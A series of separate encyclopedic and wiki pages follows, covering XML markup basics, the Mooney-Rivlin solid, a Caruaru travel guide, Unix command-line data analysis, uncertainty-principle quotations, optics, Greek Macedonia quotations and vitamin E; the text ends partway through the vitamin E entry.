language like Wiki (a markup language like Wiki syntax) syntax that you are using for editing course comments and discussions in this course. Wiki syntax is very easy. But this is still a bad idea, because the Wiki syntax idea cannot easily be generalized to new challenges such as graphics and multimedia and complex layouts. Then, what is a sweet spot between the generality of a programming language and the easiness of Wiki. In fact, the publishing industry has produced a multitude of standards to delineate between content proper (images, text, paragraph, footers, headers, etc.) and *markup*. Examples include * PDF * Postscript * epub * Latex * SGML (structured generalized markup language) The inventor of the Web, Tim Berners-Lee, and the Web community at large found that SGML is a wonderful basis for describing content and structure, but a bit too complex for engineering and, hence, produced a simpler version of it, i.e. XML, the eXtensible Markup Language. In fact, the core idea of XML is extremely simple. Even if the result is sometimes not simple and cannot be simple when we consider the intrinsic complexity of the task of structuring Web content. But, let's revisit Rene's record collection. Then beyond the sheer content, we simply put structure information in angle brackets. For example one specifies that "Rio revisited" is the title of a record by putting the structure information around it, just like this: Rio revisited In order to make clear to which record this recordtitle belong and which different tracks belong to this record we simply nest the recordtitle and the different tracks within - guess - the tags . Thereby, somehing like a track is quite complex by itself and may carry with it a lot of further information. This is what may come out /Explain here what people see on the screen/ This is Rene Pickhardt's most favored record collection Tom Jobim Rio revisited agua de beber 3:49 aguas de marco 4:07 Bobby McFerrin Bobby McFerrin Dance with me 4:09 Feline 5:08 You see with this example that providing markup is easy for contents of a database and for marking up pieces of running text. Next we will show you that it is very easy to produce views on the given content as well as layout instructions from such a file. Some lessons from now, we will also show how multimedia will come into play. 1 Content should be marked up using 2 A markup language for the Web must no further reading defined You can define further reading here. Navigation Ethernet Communication over a shared Medium Ethernet header Minimum package length vs maximum cable length Collision detection Summary, further reading, homework Internet Protocol Motivation for IP Classful IPv4 networks IP forwarding algorithm IP header Summary, further reading, homework Transmission Control Protocol End to end principle and connection oriented communication Three way handshake Port numbers Sliding window and flow control Summary, further reading, homework Domain Name System Tree structure Terminology Zones Review some facts about DNS Delegating DNS queries DNS address resolution Summary, further reading, homework Internet vs World Wide Web Summary of the internet architecture Motivation and requirements for the World Wide Web Design principles of the web Uniform Resource Identifier Summary, further reading, homework Hypertext Transfer Protocol Making HTTP requests A simple web client A simple web server HTTP header Content negotiation Summary, further reading, homework Web content Problem setting for web content formats Working with XML HTML for web document structures Layout elements in HTML Motivating separation of content and layout Cascading Style Sheets Media content Metadata Summary, further reading, homework Dynamic Web Content Basics of server side web programming Forms and HTTP post request Handling a post request in a Java Servlet Client side JavaScript Ajax and the XMLHttpRequest class Summary, further reading, homework Play media Working with XML
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A Mooney-Rivlin solid is a generalization of the w:Neo-Hookean solid model, where the strain energy W is a linear combination of two invariants of the w:Finger tensor B {\displaystyle \mathbf {B} } : W = C 1 ( I ̄ 1 − 3 ) + C 2 ( I ̄ 2 − 3 ) {\displaystyle W=C_{1}({\overline {I}}_{1}-3)+C_{2}({\overline {I}}_{2}-3)} , where I ̄ 1 {\displaystyle {\overline {I}}_{1}} and I ̄ 2 {\displaystyle {\overline {I}}_{2}} are the first and the second invariant of w:deviatoric component of the w:Finger tensor: I 1 = λ 1 2 + λ 2 2 + λ 3 2 {\displaystyle I_{1}=\lambda _{1}^{2}+\lambda _{2}^{2}+\lambda _{3}^{2}} , I 2 = λ 1 2 λ 2 2 + λ 2 2 λ 3 2 + λ 3 2 λ 1 2 {\displaystyle I_{2}=\lambda _{1}^{2}\lambda _{2}^{2}+\lambda _{2}^{2}\lambda _{3}^{2}+\lambda _{3}^{2}\lambda _{1}^{2}} , I 3 = λ 1 2 λ 2 2 λ 3 2 {\displaystyle I_{3}=\lambda _{1}^{2}\lambda _{2}^{2}\lambda _{3}^{2}} , where: C 1 {\displaystyle C_{1}} and C 2 {\displaystyle C_{2}} are constants. If C 1 = 1 2 G {\displaystyle C_{1}={\frac {1}{2}}G} (where G is the w:shear modulus) and C 2 = 0 {\displaystyle C_{2}=0} , we obtain a w:Neo-Hookean solid, a special case of a Mooney-Rivlin solid. The stress tensor T {\displaystyle \mathbf {T} } depends upon Finger tensor B {\displaystyle \mathbf {B} } by the following equation: T = − p I + 2 C 1 B + 2 C 2 B − 1 {\displaystyle \mathbf {T} =-p\mathbf {I} +2C_{1}\mathbf {B} +2C_{2}\mathbf {B} ^{-1}} The model was proposed by w:Melvin Mooney and w:Ronald Rivlin in two independent papers in 1952. For the case of uniaxial elongation, true stress can be calculated as: T 11 = ( 2 C 1 + 2 C 2 α 1 ) ( α 1 2 − α 1 − 1 ) {\displaystyle T_{11}=\left(2C_{1}+{\frac {2C_{2}}{\alpha _{1}}}\right)\left(\alpha _{1}^{2}-\alpha _{1}^{-1}\right)} and w:engineering stress can be calculated as: T 11 e n g = ( 2 C 1 + 2 C 2 α 1 ) ( α 1 − α 1 − 2 ) {\displaystyle T_{11eng}=\left(2C_{1}+{\frac {2C_{2}}{\alpha _{1}}}\right)\left(\alpha _{1}-\alpha _{1}^{-2}\right)} The Mooney-Rivlin solid model usually fits experimental data better than w:Neo-Hookean solid does, but requires an additional empirical constant. Elastic response of rubber-like materials are often modelled based on the Mooney-Rivlin model. C. W. Macosko Rheology: principles, measurement and applications, VCH Publishers, 1994, ISBN 1-56081-579-5 The characteristic polynomial of the linear operator corresponding to the second rank three-dimensional Finger tensor is usually written p B ( λ ) = λ 3 − a 1 λ 2 + a 2 λ − a 3 {\displaystyle p_{B}(\lambda )=\lambda ^{3}-a_{1}\,\lambda ^{2}+a_{2}\,\lambda -a_{3}} In this article, the trace a 1 {\displaystyle a_{1}} is written I 1 {\displaystyle I_{1}} , the next coefficient a 2 {\displaystyle a_{2}} is written I 2 {\displaystyle I_{2}} , and the determinant a 3 {\displaystyle a_{3}} would be written I 3 {\displaystyle I_{3}} . ← Neo-Hookean material Advanced elasticity Ogden material →
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Caruaru is a city in Pernambuco, Northeast Brazil. It is famous for its huge São João (St. John's) celebrations in June. The city claims to have "the world's largest São João festivities". -8.284444-36.0108331 Oscar Laranjeiras Airport (CAU IATA Aeroporto de Caruaru). It has no scheduled flights (updated May 2019) Recife's airport is at accessible road distance. Along BR-232 - from Recife - travel by bus (about 1 hour 30 minutes) is simple and comfortable. The Caruaruense line costs about R$20 each way. Along BR-104 - from Campina Grande Main Distances: Recife: 137 km Garanhuns: 106 km Campina Grande: 173 km Maceió: 240 km Serra Talhada: 299 km Salgueiro: 404 km Alto do Moura, recognized by UNESCO as the largest center for figurative arts in the Americas. Home to famous ceramist Mestre Vitalino and other artists Casa-Museu Mestre Vitalino (Mestre Vitalino's House), open Monday through Saturday, 08:00-12:00 and 14:00-17:00; Sunday, 08:00-12:00. At Rua Mestre Vitalino, Alto do Moura Memorial Mestre Galdino, open Tuesday through Saturday, 08:00-12:00 and 14:00-17:00; Sunday, 08:00-13:00; at Rua São Sebastião, 181, Alto do Moura Museu do Barro e da Cerâmica (Clay and Ceramics Museum). Open Tuesday-Saturday, 08:00-17:00; Sunday, 08:00-13:00; at Espaço Cultural Tancredo Neves, bloco B. Praça Cel. José de Vasconcellos, 100, Centro; tel. : (81) 3701.1533 Memorial de Caruaru, a multifaceted cultural center with three key components: the City Museum (Museu Celso Galvão or Museu da Cidade), Memorial da Feira de Caruaru and an exhibit on popular folk art. Open: Tuesday through Saturday, 08:00-17:00, at Rua Duque de Caxias, 1000, Centro; tel. : (81) 3721.1039 Museu do Forró Luiz Gonzaga (Forró Museum) Museu do Cordel (Cordel Museum). Museum dedicated to "Cordel" literature, a traditional pamphlet literature that was typical in Europe in the Middle Ages. Northeastern Brazil is one of the few place in the world where this type of literature is still alive. Feira de Caruaru (Caruaru Street Market), Brazil's largest street market (handicrafts, lace and embroidery, leather products, traditional medicinal products, typical food, and almost anything you might want) Feira do Troca-Troca (Exchange-Exchange Street Market), a street market in which you can exchange the most strange goods, such as chickens for a watch, a parakeet for a bicycle, and the like. Takes place on Wednesdays and Saturdays. Museu da Fábrica de Caroá (Caroá Factory Museum), installed in what used to be Fábrica Caroá (1935-1978), Brazil's first factory to produce fiber products from the caroá plant. Pátio do Forró, where all the action is. Main attraction during São João (Saint John's) and São Pedro (Saint Peter's) festivals. Lots of forró dancing going on with live music on three stages. June Festivals (primarily St. John's) St. Gonçalvo - First Saturday in June St. Anthony - June 13 St. John's celebrations (São João) - June 24 Sts. Peter & Paul - June 29 St. Martial - June 30 Handicrafts (pottery art) from one of the 200 artists at the Alto do Moura neighborhood. Feira de Caruaru: Brazil's largest street market (handicrafts, lace and embroidery, leather products, traditional medicinal products, typical food, and almost anything you might want) Caruaru has a very active commerce downtown. It serves as a commercial and services hubs for an important part of the interior of Pernambuco. Outside the city center, Caruaru Shopping https://www.caruarushopping.com] is a modern shopping mall with movie theaters and fast-food restaurants. Local gastronomy includes several goat and bovine meat dishes, such as "buchada", "carne de sol", "chambarril" and "sarapatel". Green beans and melted butter are also typical. Restaurants (Typical Northeastern Food): Bode Assado do Luciano, R. Mestre Vitalino, 511, Alto do Moura La Carne, Av. Cícero José Dutra, s/n, Petrópolis Mestre Vitalino, Rua Leão Dourado, 13, São Francisco Mandacaru, R. São Domingos, 160, Pinheirópolis Rei do Bode, Rua Mestre Vitalino, 570, Alto do Moura Gostim de Feira, Caruaru Shopping Restaurants (Other Food): Bistrô do Chef Adolfo, Caruaru Shopping O Nelore, R. Bogotá, 50, Divinópolis (feijoada) Papillon, Av. Prof. José Leão, 425, Maurício de Nassau (local and international food) Mister Pizza, Av.Agamenon Magalhães, s/n, Maurício de Nassau (fast food pizza) Chinatown, Caruaru Shopping (Chinese food) Bars: Bar da Perua, R. Aliança, 175, Cohab I Mulungu, R. Mestre Vitalino, 595, Alto do Moura Universidade da Cerveja, Av. Agamenon Magalhães, 1351, Maurício de Nassau Grande Hotel São Vicente de Paulo [1], Av. Rio Branco, Centro; tel. : +55 81 3721-5011 Caruaru Park Hotel [2], BR-232, km 128, Agamenon Magalhães; tel. : +55 81 3722-9191 Hotel Village [3], BR-232, km 129, Petrópolis; tel. : +55 81 3722-5544 Hotel Central [4], Rua Vigário Freire, 71, Centro; tel. : +55 81 3721-5880 Palace Hotel [5] [formerly dead link], Avenida Campina Grande, 241, São Francisco; tel. : +55 81 3724-5880 Caruaru Pallace Hotel [6], Rua Amélia Maria da Conceição, 148, Pinheirópolis; tel. : +55 81 3724-8360 Maysa Plaza Hotel [7], Rua Teófilo Dias, 93, Maurício de Nassau; tel. : +55 81 3725-1900 Vila Rica Hotel, Rua Dalvino Alves Pedrosa, 160, Pinheirópolis; tel. : +55 81 3722-9666 Hotel Caruaru, Rua Mestre Pedro, 77, Centro; tel. : +55 81 3722-5011. (Looking extremely dead: don't count on it.) Camping Empetur, Rua Dois Irmãos, tel. : +55 81 3732-1158 Tracunhaém, one of Brazil's most important ceramic art production centers. Lagoa do Carro, famous for its tapestry. You can also visit the Cachaça Museum. Recife, vibrant capital of Pernambuco state. Olinda, beautiful colonial town in the Atlantic coast. Igarassu, colonial town, home to Brazil's oldest church and Latin America's largest collection of baroque art. Porto de Galinhas, consistently voted Brazil's best beach.
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Ad Hoc Data Analysis From The Unix Command Line Once upon a time, I was working with a colleague who needed to do some quick data analysis to get a handle on the scope of a problem. He was considering importing the data into a database or writing a program to parse and summarize that data. Either of these options would have taken hours at least, and possibly days. I wrote this on his whiteboard: Your friends: cat, find, grep, wc, cut, sort, uniq These simple commands can be combined to quickly answer the kinds of questions for which most people would turn to a database, if only the data were already in a database. You can quickly (often in seconds) form and test hypotheses about virtually any record oriented data source. You've logged into a Unix box of some flavor and run some basic commands like ls and cd and cat. If you don't know what the ls command does, you need a more basic introduction to Unix than I'm going to give here. Preliminaries Standard Input, Standard Output, Redirection and Pipes Counting Part 1 - grep and wc Picking The Data Apart With cut Joining The Data Together With join Counting Part 2 - sort and uniq Rewriting The Data With Inline perl Quick Plotting With gnuplot Appendices
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The uncertainty principle, also known as Heisenberg's uncertainty principle in quantum mechanics,, is any of a variety of mathematical inequalities asserting a fundamental limit to the precision with which certain pairs of physical properties of a particle known as complementary variables, such as position x and momentum p, can be known simultaneously. Historically, the uncertainty principle has been confused with a somewhat similar effect in physics, called the observer effect, which notes that measurements of certain systems cannot be made without affecting the systems, that is, without changing something in a system. Heisenberg utilized such an observer effect at the quantum level as a physical "explanation" of quantum uncertainty. It has since become clearer, however, that the uncertainty principle is inherent in the properties of all wave-like systems, and that it arises in quantum mechanics simply due to the matter wave nature of all quantum objects. This article contains some historical observer-effect quotations, as well as some related and early pre-uncertainty era quotations. If quantum mechanics is right, there is no way to get around the uncertainty principle. The reason that the electron’s probability wave spread so much after we confined it, Heisenberg would argue, is that its momentum became almost completely indeterminate. In a manner of speaking, it headed off in all directions. Jeremy Bernstein, Quantum Profiles (1991), John Stewart Bell: Quantum Engineer. At the heart of the quantum revolution is Heisenberg's uncertainty principle... roughly... all physical quantities... are subject to unpredictable fluctuations, so that their values are not precisely defined. ...[e.g., we are] free to measure [position x and the momentum p of a quantum particle] to arbitrary precision, but they cannot possess precise values simultaneously. The spread, or uncertainty, in their values, denoted by Ax and Ap... are such that [their] product... cannot be less than... Planck's constant [after Max Planck], numerically very small... so that quantum effects are generally only important in the atomic domain... not... in daily life. ...[T]his uncertainty is inherent in nature and not merely the result of technological limitations in measurement. Paul Davies, (1989) Introduction to Physics and Philosophy (1958) The uncertainty has deep implications. For example, it means that a quantum particle does not move along a well-defined path through space. ...The smearing of position and momentum leads to an inherent indeterminism in the behaviour of quantum systems. ...[T]he experimenter may fire an electron at a target and find that it scatters to the left, then, on repeating... the next electron scatters to the right. Quantum mechanics still enables the relative probabilities of the alternatives to be specified precisely. ...It can make definite predictions about ensembles of identical systems, but it can generally tell us nothing definite about an individual system. Paul Davies, (1989) Introduction to Physics and Philosophy (1958) Relativity principles require us to associate mass with the energy of radiation, and it is reasonable to suppose... an exchange of momentum... [T]he exchange of momentum between free electrons and radiation is very similar to the exchange... when two particles collide. ...[A] beam of light should be considered as an assembly of "units", each or which [using light frequency ( ν {\displaystyle \nu } ), Planck's constant ( h {\displaystyle h} ), speed of light ( c {\displaystyle c} )] possesses energy ( W {\displaystyle W} ), momentum ( p {\displaystyle p} ), and mass ( m {\displaystyle m} ), given by W = h ν ; p = h ν c ; m = h ν c 2 . {\displaystyle W=h\nu ;\;p={\frac {h\nu }{c}};\;m={\frac {h\nu }{c^{2}}}.\quad } 17(14)...This general picture was first suggested by Einstein... The units are now called photons... [T]he spreading of light by diffraction cannot be permanently concentrated in a small volume like the energy of a material particle. ...The pressure p {\displaystyle p} , exerted by a parallel beam incident normally on a body which completely absorbs it, is... p = ρ p , {\displaystyle p=\rho _{p},\quad } ...17(15) where ρ p {\displaystyle \rho _{p}} is the energy per unit volume of the incident radiation. ...[C]onsider the radiation pressure of a parallel beam of light, incident on an absorbing body... the light is of frequency ν {\displaystyle \nu } and... there are N {\displaystyle N} quanta per unit volume. Then... ρ p = N h ν . {\displaystyle \rho _{p}=Nh\nu .\quad } ...17(18)[A]ll the quanta in a cylinder of volume c {\displaystyle c} [speed of light multiplied by unit area] cubic centimetres are incident upon unit area of the surface in one second, the pressure... p = N c P , {\displaystyle p=NcP,\quad } ...17(19)where P {\displaystyle P} is the momentum of one photon. Combining... P = h ν c = h λ {\displaystyle P={\frac {h\nu }{c}}={\frac {h}{\lambda }}} . [Experimental] results... for isotropic radiation are in agreement... R. W. Ditchburn, Light (1953) pp. 553-559. Suppose... motion of an electron in the absence of a field of force, is to be investigated... by testing the validity of [no force implies zero acceleration]... d 2 q d t 2 = 0 , {\displaystyle {\frac {d^{2}q}{dt^{2}}}=0,\quad } ...18(3)... q {\displaystyle q} ...the position of the particle at time t {\displaystyle t} . The... procedure is to measure the position and momentum of the electron at... time t = t 0 {\displaystyle t=t_{0}} ... to obtain two "initial conditions" which can be inserted in the solution of 18(3)... then calculate the position and momentum at some later time... and see if the calculation agrees with... observation... Suppose we observe... with light of wavelength λ {\displaystyle \lambda } . ...[D]iffraction of the wave sets the limit to the accuracy of a position measurement... △ q ∼ λ 2 s i n θ , {\displaystyle \vartriangle q\sim {\frac {\lambda }{2sin\theta }},\quad } ...18(4)where △ q {\displaystyle \vartriangle q} is the probable error in... q {\displaystyle q} , and θ {\displaystyle \theta } is the semi-angle of the cone of rays accepted by the microscope... [and] ∼ {\displaystyle \sim } means "at least of the order of magnitude of". The experiment of Compton... shows that the interaction... involves an exchange of momentum. We may assume that the momenta... were exactly known before their interaction, but... [those] after the interaction depends on the accuracy [of the] momentum exchanged during the interaction. [T]he photon enters the microscope, and... we know its direction... within an angle 2 θ {\displaystyle 2\theta } . Any attempt [to reduce] the effective aperture... increases △ q {\displaystyle \vartriangle q} . Thus... the momentum of the photon in the plane [in which q is measured] perpendicular to the axis of the microscope... is uncertain by an amount △ p ∼ 2 h ν c s i n θ {\displaystyle \vartriangle p\sim {\frac {2h\nu }{c}}sin\theta \quad } . ...18(5)The momentum of the particle after the interaction is uncertain by △ p {\displaystyle \vartriangle p} . Combining... we have △ p △ q ∼ λ 2 s i n θ 2 h ν c s i n θ {\displaystyle \vartriangle p\vartriangle q\sim {\frac {\lambda }{2sin\theta }}{\frac {2h\nu }{c}}sin\theta } ,i.e., △ p △ q ∼ h {\displaystyle \vartriangle p\vartriangle q\sim h\quad } . ...18(6) R. W. Ditchburn, Light (1953) pp. 584-585. Une loi de Physique possède une certitude beaucoup moins immédiate et beaucoup plus difficile à apprécier qu'une loi de sens commun; mais elle surpasse cette dernière par la précision minutieuse et détaillée de ses prédictions. ...Cette minutie dans le détail, les lois de la Physique ne la peuvent acquérir qu'en sacrifiant quelque chose de la certitude fixe et absolue des lois de sens commun. Entre la précision et la certitude il y a une sorte de compensation; l'une ne peut croître qu'au détriment de l'autre. A law of physics possesses a certainty much less immediate and much more difficult to estimate than a law of common sense, but it surpasses the latter by the minute and detailed precision of its predictions. ...The laws of physics can acquire this minuteness of detail only by sacrificing something of the fixed and absolute certainty of common-sense laws. There is a sort of balance between precision and certainty; one cannot be increased except to the detriment of the other. Pierre Duhem, La Théorie Physique: son Objet, et sa Structure (1906) p. 292. [Duhem's Law] Tr. Philip P. Wiener, The Aim and Structure of Physical Theory (1954) In September 1973, while I was visiting Moscow, I discussed black holes with two leading Soviet experts, Yakov Zeldovich and Alexander Starobinsky. They convince me that, according to the uncertainty principle, rotating black holes should create and emit particles. I believed their arguments on physical grounds but did not like the mathematical way in which they calculated the emission. I therefore set about devising a better mathematical treatment... when I did the calculation I found to my surprise and annoyance, that even nonrotating black holes should create and emit particles at a steady rate. ...[What finally convinced me that the emission was real was that the spectrum of the emitted particles was exactly that which would be emitted by a hot body... at exactly... the correct rate to prevent violations of the second law. Stephen Hawking, The Cambridge Lectures (1996) pp. 80-81. [T]he laws of physics need not break down at the origin of the universe. The state of the universe and its contents, like ourselves, are completely determined by the laws of physics, up to the limit set by the uncertainty principle. So much for free will. Stephen Hawking, The Cambridge Lectures (1996) p. 94. Ultimately... one would hope to find a complete, consistent, unified theory that would include all... partial theories as approximations... "the unification of physics." Einstein spent most of his later years unsuccessfully searching... Einstein refused to believe in the reality of quantum mechanics, despite the important role he played in its development. Yet it seems that the uncertainty principle is a fundamental feature of the universe... A successful unified theory must... incorporate this principle. Stephen Hawking, The Cambridge Lectures (1996) p. 147. It must have been one evening after midnight when I suddenly remembered my conversation with Einstein and particularly his statement, "It is the theory which decides what we can observe." I was immediately convinced that the key to the gate that had been closed for so long must be sought right here. I decided to go on a nocturnal walk through Faelled Park and to think further about the matter. We had always said so glibly that the path of the electron in the cloud chamber could be observed. But perhaps what we really observed was something much less. Perhaps we merely saw a series of discrete and ill-defined spots through which the electron had passed. In fact, all we do see in the cloud chamber are individual water droplets which must certainly be much larger than the electron. The right question should therefore be: Can quantum mechanics represent the fact that an electron finds itself approximately in a given place and that it moves approximately with a given velocity, and can we make these approximations so close that they do not cause experimental difficulties? Werner Heisenberg, Physics and Beyond (1971), 6. Fresh Fields (1926-1927) . Instead of Newtonian certainty and determinism, quantum theory answers our questions with probability and statistics. Classical physics told us precisely where Mars was to be found. Quantum theory sends us to the gambling table to locate an electron in an atom. Then there's Heisenberg's uncertainty principle, which places an ultimate limit on our knowledge of the microworld and tells us that we can make no measurment without affecting the result. Roger S. Jones, Physics for the Rest of Us (1992) p. 155. Although Heisenberg began thinking about an electron track in a cloud chamber, he came to realize that the problem of locating an electron is not one of instrumentation... [H]e found that it was never possible... to measure the precise path of an electron: for example, the droplet size is too large in a cloud chamber. Or if you try to "see" and electron with light (or x-rays), then the light photons strike the electron like billiard balls and randomly change the electron's position. ...It was ...a limit in principle on the accuracy ...a theoretical limit—an irreducible degree of uncertainty or Indeterminacy—in measuring the simultaneous position and motion of an electron. ...[T]he two measurements—of position and motion—counterbalance one another. The better you measure the position, the worse you will be able to measure the motion, and vice versa. If you could measure the position (or motion) perfectly, you would know nothing about the motion (position). The uncertainty principle thus seems to reconcile the particle-wave duality. The better you know the position... the more localized... the more it seems to act like a particle. Alternatively, if you know the motion or speed very well... [position] is diffuse, like a wave. ...[A] different point of view on duality but still ...a paradoxical fact of life. Roger S. Jones, Physics for the Rest of Us (1992) pp. 160-161. Heisenberg considered the observation through a microscope of an electron struck by light of an appropriate frequency. The position of the electron could be determined more precisely by increasing the frequency of the light, but the higher the frequency, the larger the jolt to the electron, and, hence, the greater the indeterminacy in the measurement of the electron's velocity. Conversely, the velocity could be determined more precisely by using light of a lower frequency, but the lower the frequency, the greater the indeterminacy in the measurement of the position. On the basis of these considerations, Heisenbery boldly affirmed the acausality of quantum mechanics: For to predict the future, you had to know everything about the present, and according to quantum mechanics, Heisenberg asserted, "We cannot, as a matter of principle, know the present in all its details." Daniel Kevles, The Physicists: The History of a Scientific Community in Modern America (1971) p. 166. Ref: Heisenberg quote, see also, Physics and Beyond (1971) pp. 72-78, Tr. Arnold J. Pomerans. Werner Heisenberg not only discovered but proved that in certain subatomic situations neither classical objectivity nor mechanical causality applied: that the act of the physicists observation (more exactly: his attempts at measurement) interfered either with the movement or with the situation of the object—which meant, among other things, a big crack in the fundament of Descartes's and Newton's objectivism and determinism. In other words: the study of the "reality" of matter was inseparable from the interference (and from the mind and purpose) of the scientist. John Lukacs, At the End of an Age (2002) pp. 96-97. ... Heisenberg's main work — his wonderful work — on the uncertainty principle ... Some very important people — like Einstein — did not like this. ... His remark was, "I can believe that God governs the world with any set of laws, but I cannot believe that He is playing at dice. ..." ... Einstein's statement — his remark — was really something to the effect: "I cannot imagine any science without causality ..." Edward Teller: Edward Teller - Heisenberg Uncertainty Principle (27/147), Web of Stories. YouTube (27 September 2017). Une hypothèse qui permet de prévoir certains effets qui se reproduisent toujours ressemble absolument à une vérité démontrée. Le système de Newton ne repose guère sur un autre fondement. Si en réalité et de l aveu du. [A hypothesis which permits the prediction of certain effects that always reoccur under certain conditions does, in its way amount to a demonstrable certainty. Even the Newtonian system had no more than such a foundation.] Alexis de Tocqueville, Letter to de Gobineau (August 5, 1858) Correspondance entre Alexis de Tocqueville et Arthur de Gobineau 1843-1859 (1908) p. 330. [Tr. John Lukacs, At the End of an Age (2002)] Wikipedia has an article about: Uncertainty principle Geoff Brumfiel, Common Interpretation of Heisenberg's Uncertainty Principle Is Proved False, Scientific American Fourier Transforms and Uncertainty Relations @Mathpages.com Jan Hilgevoord, The Uncertainty Principle, Stanford Encyclopedia of Philosophy. The Time-Energy Uncertainty Relation, John Baez , U California, Riverside, Dept. Mathematics. Uncertainty principle, Encyclopedia of Mathematics Uncertainty principle, Eric Weisstein's World of Physics Werner Heisenberg and the Uncertainty Principle, American Institute of Physics (AIP)
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In optics, particularly film and photography, the depth of field (DOF) is the distance in front of and beyond the subject that appears to be in focus. Depth of focus DOF is a lens optics concept that measures the tolerance of placement of the image plane (the film plane in a camera) in relation to the lens. While the phrase depth of focus was historically used, and is sometimes still used, to mean depth of field, in modern times it is more often reserved for the image-side depth. Depth of field is a measurement of depth of acceptable sharpness in the object space, or subject space. Depth of focus, however, is a measurement of how much distance exists behind the lens wherein the film plane will remain sharply in focus. It can be viewed as the flip side of depth of field, occurring on the opposite side of the lens. Where depth of field often can be measured in macroscopic units such as meters and feet, depth of focus is typically measured in microscopic units such as fractions of a millimeter or thousandths of an inch. Since the measurement indicates the tolerance of the film's displacement within the camera, depth of focus is sometimes referred to as "lens-to-film tolerance." The optical transfer function (OTF) describes the spatial (angular) variation as a function of spatial (angular) frequency. When the image is projected onto a flat plane, such as photographic film or a solid state detector, spatial frequency is the preferred domain, but when the image is referred to the lens alone, angular frequency is preferred. Immersion lithography is a photolithography resolution enhancement technique that replaces the usual air gap between the final lens and the wafer surface with a liquid medium that has a refractive index greater than one. The resolution is increased by a factor equal to the refractive index of the liquid. Current immersion lithography tools use highly purified water for this liquid, achieving feature sizes below 37 nanometers. The Fermi energy (EF) of a system of non-interacting fermions is the increase in the ground state energy when exactly one particle is added to the system. It can also be interpreted as the maximum energy of an individual fermion in this ground state. The chemical potential at zero temperature is equal to the Fermi energy. The precise meaning of the term chemical potential depends on the context in which it is used. When speaking of thermodynamic systems, chemical potential refers to the thermodynamic chemical potential. In this context, the chemical potential is the change in a characteristic thermodynamic state function per change in the number of molecules. Depending on the experimental conditions, the characteristic thermodynamic state function is either: internal energy, enthalpy, Gibbs free energy, or Helmholtz free energy. This particular usage is most widely used by experimental chemists, physicists, and chemical engineers. Theoretical chemists and physicists often use the term chemical potential in reference to the electronic chemical potential, which is related to the functional derivative of the density functional, sometimes called the energy functional, found in Density Functional Theory. This particular usage of the term is widely used in the field of electronic structure theory. Physicists sometimes use the term chemical potential in the description of relativistic systems of fundamental particles. Today's best solar cells have layers of several different semiconductors stacked together to absorb light at different energies but they still only manage to use 40 percent of the Sun's energy. Commercially available solar cells have much lower efficiencies (15-20%). Nanotechnology could help increase the efficiency of light conversion by using nanostructures with a continuum of bandgaps.
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Macedonia, also known as Greek Macedonia, is a geographic and former administrative region of Greece, in the southern Balkans. Macedonia is the largest and second-most-populous Greek region, with a population of 2.38 million in 2017. The region is highly mountainous, with most major urban centers such as Thessaloniki and Kavala being concentrated on its southern coastline. Together with Thrace, and sometimes also Thessaly and Epirus, it is part of Northern Greece. It also contains Mount Athos, an autonomous monastic region of Greece. Macedonia incorporates most of the territories of ancient Macedon, a kingdom ruled by the Argeads and whose most celebrated members were Alexander the Great and his father Philip II. The name Macedonia was later applied to a number of widely-differing administrative areas in the Roman and Byzantine empires, resulting in modern geographical Macedonia. Even prior to the establishment of the modern Greek state in 1830 Macedonia was identified as a Greek province, albeit without clearly defined geographical border. The Greek War of Independence, which came to a successful conclusion in 1832, affected less than one half of the Greeks in the Turkish Empire. It did not bring freedom to the Greeks of Macedonia and Thrace, of Crete and the Aegean Islands, nor to the more than two million Greeks in Asia Minor and Constantinople. Henry Morgenthau, "I was sent to Athens", Doubleday, Doran & Company, inc (1929). When the Turks and the Bulgarians left, Macedonia remained a purely Greek region. Henry Morgenthau, "I was sent to Athens", Doubleday, Doran & Company, inc (1929). The borders between Greece and Serbia were defined in 1913 on the basis of the advances of the armies of the two nations during the first Balkan war. The border between Greece and Bulgaria was defined at the Treaty of Bucharest. Since then, the borders of the three nations had remained the same. Macedonia, a region mostly of Greece since ancient times, was divided into three perhaps even four parts, with Greece keeping the largest portion of about 50%, then-Yugoslavia receiving about 35%, Bulgaria about 10% and a small percentage eventually ending in Albania. The Greek people on the portion of the Macedonia part in Greece have been there since time immemorial -- over more than forty centuries before the Slavs arrived. The language spoken in the Greek region since antiquity is Greek, whereas the language of the former-Yugoslavia portion is a Slavic dialect of Bulgarian (Marline Simons, The New York Times, February 3, 1992). As a matter of fact, the portion of Macedonia in then-Yugoslavia was part of the Eastern Branch of the Roman Empire. The people who ruled over Serbia spoke Greek. Constantinople was their headquarters. Their main trade was to the South and East... Joseph C. Harsch, American journalist, "The Christian Science Monitor", January 29, 1992. Journalist: Do you believe that the uprising in Macedonia will be suppressed soon? Stournaras: There is no uprising in Macedonia. Noone from the inhabitants has rebelled against the rulers of the region. There is an incursion of Bulgarian gunmen and other brigands and nothing more. Do you believe that these low-numbered Bulgarians will be able to conquer Macedonia or force the inhabitants to rebel? [...] In one clash in Panitze, outside of Serres, a few months ago where the notorious Delchev was murdered and 52 Bulgarians were arrested, only 2 Bulgarians managed to escape and the rest were killed. This of course has no meaning anymore, because through the fuss they managed to create, many believe now in Europe that Macedonian question is actually Bulgarian question. Interview of Greek consul in Serres, Stournaras, in the Greek newspaper "Empros" in the paper of 21 August of 1903. (Stournaras was an eye-witness of Ilinden uprising and he is talking here about the uprising.). For all of us who love History, and know History, Macedonia is as Greek as the Acropolis. Mike Rann, Eleftherotypia newspaper, May 5, 2007 Encyclopedic article on Macedonia (Greece) at Wikipedia
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Vitamin E is a fat-soluble antioxidant. It was discovered in 1922 by Evans and Bishop. They found that it helped with reproduction in rats. The structure of Vitamin E consists of four tocopherols (alpha, beta, gamma, and delta tocopherol) and four tocotrienols (alpha, beta, gamma, and delta tocotienol). The most abundant is the alpha tocopherol and it has been found that alpha tocopherol can undo symptoms of Vitamin E deficiency in humans. In the 50s Vitamin E was rediscovered and found to be a cellular antioxidant. Because of this discovery, Vitamin E has been studies primarily as an antioxidant and many people have looked at its capability to prevent chronic disease. Epidemiology studies have found a correlation between high Vitamin E intakes and a reduced risk of cardiovascular diseases. Brigelius-Flohe, Regina; Traber, MG (1999). Vitamin E: Functions and Metabolism. The FASEB Journal, 13 (10), pp. 1145-1155. http://www.fasebj.org/cgi/content/short/13/10/1145. Vitamin E stops the production of ROS (reactive oxygen species) formed when fat undergoes oxidation. Scientists are investigating whether, by limiting free-radical production and possibly through other mechanisms, vitamin E might help prevent or delay the chronic diseases associated with free radicals. Serum concentrations of vitamin E (alpha-tocopherol) depend on the liver, which takes up the nutrient after the various forms are absorbed from the small intestine. Vitamin E is also involved in immune function and, as shown primarily by in vitro studies of 